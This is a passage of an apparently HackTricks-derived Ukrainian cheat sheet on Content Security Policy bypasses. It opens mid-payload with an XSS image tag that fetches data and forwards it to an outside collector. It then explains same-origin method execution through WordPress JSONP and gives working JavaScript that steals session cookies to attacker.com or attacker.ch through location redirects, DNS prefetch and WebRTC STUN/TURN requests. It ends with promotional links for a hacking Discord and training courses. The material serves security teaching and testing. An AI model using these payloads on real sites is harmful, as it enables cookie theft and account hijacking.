a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
SOME + 'self' + wordpress
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) в кінцевій точці сторінки для зловживання іншими кінцевими точками одного походження. Це робиться шляхом завантаження вразливої кінцевої точки з сторінки зловмисника, а потім оновлення сторінки зловмисника на реальну кінцеву точку в тому ж походженні, яку ви хочете зловживати. Таким чином, вразлива кінцева точка може використовувати об'єкт opener
у payload для доступу до DOM реальної кінцевої точки для зловживання. Для отримання додаткової інформації перегляньте:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
Більше того, wordpress має JSONP кінцеву точку в /wp-json/wp/v2/users/1?_jsonp=data
, яка відображатиме дані, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
Зловмисник може зловживати цією кінцевою точкою, щоб згенерувати атаку SOME проти WordPress і вбудувати її всередину <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
, зверніть увагу, що цей скрипт буде завантажено, оскільки він дозволений 'self'. Більше того, і оскільки WordPress встановлено, зловмисник може зловживати атакою SOME через вразливу кінцеву точку зворотного виклику, яка обходить CSP, щоб надати більше привілеїв користувачу, встановити новий плагін...
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
Якщо існує суворий CSP, який не дозволяє вам взаємодіяти з зовнішніми серверами, є кілька речей, які ви завжди можете зробити, щоб ексфільтрувати інформацію.
Location
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер зловмисника секретну інформацію:
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
Meta tag
Ви можете перенаправити, вставивши мета-тег (це лише перенаправлення, це не призведе до витоку контенту)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: <link rel="dns-prefetch" href="something.com">
Ви можете зловживати цією поведінкою, щоб екстрагувати чутливу інформацію через DNS-запити:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
Інший спосіб:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Щоб уникнути цього, сервер може надіслати заголовок HTTP:
X-DNS-Prefetch-Control: off
{% hint style="info" %} Очевидно, ця техніка не працює в безголових браузерах (ботах) {% endhint %}
WebRTC
На кількох сторінках ви можете прочитати, що WebRTC не перевіряє політику connect-src
CSP.
Насправді ви можете leak інформацію, використовуючи DNS запит. Ознайомтеся з цим кодом:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Інший варіант:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
Перевірка CSP політик онлайн
Автоматичне створення CSP
https://csper.io/docs/generating-content-security-policy
Посилання
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Інсайти з хакінгу
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
Новини хакінгу в реальному часі
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
Останні оголошення
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримати HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.